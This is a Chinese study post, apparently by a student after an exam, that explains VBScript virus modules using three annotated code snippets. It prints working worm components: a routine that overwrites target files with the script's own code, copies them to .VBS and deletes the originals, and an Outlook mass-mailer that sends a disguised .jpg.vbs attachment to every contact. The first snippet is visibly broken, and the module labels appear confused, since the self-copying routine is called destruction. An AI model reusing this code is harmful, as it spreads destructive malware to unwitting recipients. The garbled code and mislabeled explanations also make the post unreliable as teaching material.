判断一段VBScript病毒脚本属于哪个模块

(哭晕了已经,家人们谁懂啊,刚刚考试居然考了这个       我不会判断  OMG!!!!五段脚本判断是哪个模块      老是分不清攻击和破坏模块)

免责声明:本文章仅供了解脚本病毒代码,请勿将其用于非法用途。 

  • 病毒脚本通常包含以下几个模块:

1.攻击模块:用于寻找并攻击目标系统中的漏洞或弱点。
2.感染模块: 用于将病毒代码复制到其他文件或程序中,实现病毒的传播。
3.主控模块:用于控制病毒的行为,包括触发条件、传播方式、破坏行为等。
4.破坏模块: 用于实现病毒的破坏行为,如删除文件、格式化硬盘等。

  • 下面举几个例子方便大家理解和学习:

一、感染模块:

 1 sub scan(folder_)               
 2 on error resume next           
 3 set folder_=fso.getfolder(folder_)
 4    set files=folder_.files               
 5 for each file in filesext=fso.GetExtensionName(file) 
 6       ext=lcase(ext)       
 7      if ext="mp5" then      
 8          Wscript.echo (file)
 9        end if
 10      next
 11 set subfolders=folder_.subfolders
 12 for each subfolder in subfolders  
 13  scan( ) 
 14  scan(subfolder)
 15 next 
 16 end sub

这段脚本中各个代码段的功能解释如下:

  1. sub scan(folder_)定义一个名为“scan”的子程序,接受一个参数“folder_”,表示要扫描的文件夹。
  2. on error resume next错误处理语句,表示在遇到错误时,不显示错误信息,而是继续执行下一行代码。
  3. set folder_=fso.getfolder(folder_)使用FileSystemObject(FSO)对象的“getfolder”方法获取指定路径的文件夹对象,并将其赋值给“folder_”变量。
  4. set files=folder_.files将“folder_”文件夹中的所有文件集合赋值给“files”变量。
  5. for each file in files遍历“files”集合中的每个文件。
  6. ext=fso.GetExtensionName(file)使用FSO对象的“getExtensionName”方法获取当前文件的扩展名,并将其赋值给“ext”变量。
  7. if ext="mp5" then判断当前文件的扩展名是否为“.mp5”。
  8. Wscript.echo (file)如果是“.mp5”扩展名,则输出该文件名。
  9. end if结束if语句。
  10. next结束for循环,继续遍历下一个文件。
  11. set subfolders=folder_.subfolders:获取“folder_”文件夹中的所有子文件夹集合,并将其赋值给“subfolders”变量。
  12. for each subfolder in subfolders:遍历“subfolders”集合中的每个子文件夹。
  13. scan( )递归调用“scan”子程序,扫描子文件夹中的文件。
  14. scan(subfolder)递归调用“scan”子程序,扫描子文件夹中的文件。
  15. next结束for循环,继续遍历下一个子文件夹。
  16. end sub结束子程序。

根据脚本的功能和结构,可以得知这段脚本主要用于查找指定文件夹及其子文件夹中扩展名为“.mp5”的文件,并将其输出

这种行为与病毒的感染模块类似,因为病毒通常会寻找目标系统中的文件并进行复制或修改。因此,可以将这段脚本归类为感染模块

二、破坏模块:

Set fso=createobject("scripting.filesystemobject") 
set self=fso.opentextfile(wscript.scriptfullname,1)  
  VBScopy=self.readall                          
set ap=fso.opentextfile(目标文件.path,2,true)        
  ap.write VBScopy                      
  ap.close                                         
set cop=fso.getfile(目标文件.path)              
cop.copy(目标文件.path & ".VBS")               
目标文件.delete(true) 

以下是该脚本中各个代码段的功能解释:

  1. Set fso=createobject("scripting.filesystemobject")创建一个FileSystemObject对象,用于操作文件系统。
  2. set self=fso.opentextfile(wscript.scriptfullname,1)打开当前脚本文件,以只读方式读取内容。
  3. VBScopy=self.readall读取当前脚本文件的所有内容,并将其赋值给“VBScopy”变量。
  4. set ap=fso.opentextfile(目标文件.path,2,true)打开目标文件,以写入方式打开(2表示写入模式),如果文件不存在则创建新文件。
  5. ap.write VBScopy将“VBScopy”变量的内容写入目标文件。
  6. ap.close关闭目标文件。
  7. set cop=fso.getfile(目标文件.path)获取目标文件的File对象,并将其赋值给“cop”变量。
  8. cop.copy(目标文件.path & ".VBS")将目标文件复制为一个新文件,扩展名为“.VBS”。
  9. 目标文件.delete(true)删除原始目标文件。

根据脚本的功能和结构,这段脚本主要用于将一个文件复制到另一个位置,并删除原始文件

这种行为与病毒的破坏模块类似,因为病毒通常会修改或删除系统中的重要文件,造成系统不稳定或数据丢失。因此,可以将这段脚本归类为破坏模块

三、攻击模块:

1   Function mailBroadcast( )
2     on error resume next
3     wscript.echo
4     Set outlookApp = CreateObject("Outlook.Application") 
5     If outlookApp= "Outlook" Then
6        Set mapiObj=outlookApp.GetNameSpace("MAPI")  
7        Set addrList= mapiObj.AddressLists   
8        For Each addr In addrList
9        If addr.AddressEntries.Count <> 0 Then
10          addrEntCount = addr.AddressEntries.Count 
11          For addrEntIndex= 1 To addrEntCount  
12            Set item = outlookApp.CreateItem(0)   
13            Set addrEnt = addr.AddressEntries(addrEntIndex)  
14            item.To = addrEnt.Address            
15            item.Subject = "病毒传播实验"        
16            item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" 
17            Set attachMents=item.Attachments     
18            attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
19            item.DeleteAfterSubmit = True   
20            If item.To <> "" Then 
21              item.Send                    
22              shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" 
23            End If
24          Next
25        End If
26      Next
27    End If
28   End Function

以下是上述这段脚本中各个代码段的功能解释:

  1. Function mailBroadcast( )定义一个名为“mailBroadcast”的函数。
  2. on error resume next错误处理语句,表示在遇到错误时,不显示错误信息,而是继续执行下一行代码。
  3. wscript.echo输出一个空行。
  4. Set outlookApp = CreateObject("Outlook.Application")创建一个Outlook应用程序对象。
  5. If outlookApp= "Outlook" Then判断是否成功创建了Outlook应用程序对象。
  6. Set mapiObj=outlookApp.GetNameSpace("MAPI")获取MAPI命名空间对象。
  7. Set addrList= mapiObj.AddressLists获取所有地址列表。
  8. For Each addr In addrList遍历每个地址列表。
  9. If addr.AddressEntries.Count <> 0 Then判断地址列表是否包含地址条目。
  10. addrEntCount = addr.AddressEntries.Count获取地址条目的数量。
  11. For addrEntIndex= 1 To addrEntCount遍历每个地址条目。
  12. Set item = outlookApp.CreateItem(0)创建一个新的电子邮件项目。
  13. Set addrEnt = addr.AddressEntries(addrEntIndex)获取当前地址条目的详细信息。
  14. item.To = addrEnt.Address设置电子邮件的收件人地址。
  15. item.Subject = "病毒传播实验"设置电子邮件的主题。
  16. item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!"设置电子邮件的正文内容。
  17. Set attachMents=item.Attachments获取电子邮件的附件列表。
  18. attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs":向附件列表中添加一个名为“test.jpg.vbs”的附件。
  19. item.DeleteAfterSubmit = True提交电子邮件后删除该邮件项目。
  20. If item.To <> "" Then判断收件人地址是否有效。
  21. item.Send发送电子邮件。
  22. shellObj.regwrite "HKCU\software\Mailtest\mailed", "1":向注册表中写入一个键值,表示邮件已发送。
  23. End If结束if语句。
  24. Next结束for循环,继续遍历下一个地址条目。
  25. End If:结束if语句,继续遍历下一个地址列表。
  26. Next:结束for循环,继续遍历下一个地址列表。
  27. End If:结束if语句,结束函数。
  28. End Function结束函数定义

根据脚本的功能和结构,这段脚本主要用于使用Outlook自动发送大量电子邮件,并附加一个可执行的VBScript附件

这种行为与病毒的攻击模块类似,因为病毒通常会通过电子邮件传播,并利用用户的点击来触发恶意行为。因此,可以将这段脚本归类为攻击模块

免责声明:本文章仅供了解脚本病毒代码,请勿将其用于非法用途。 

你可能感兴趣的:(计算机病毒,VBScript,病毒脚本,病毒模块)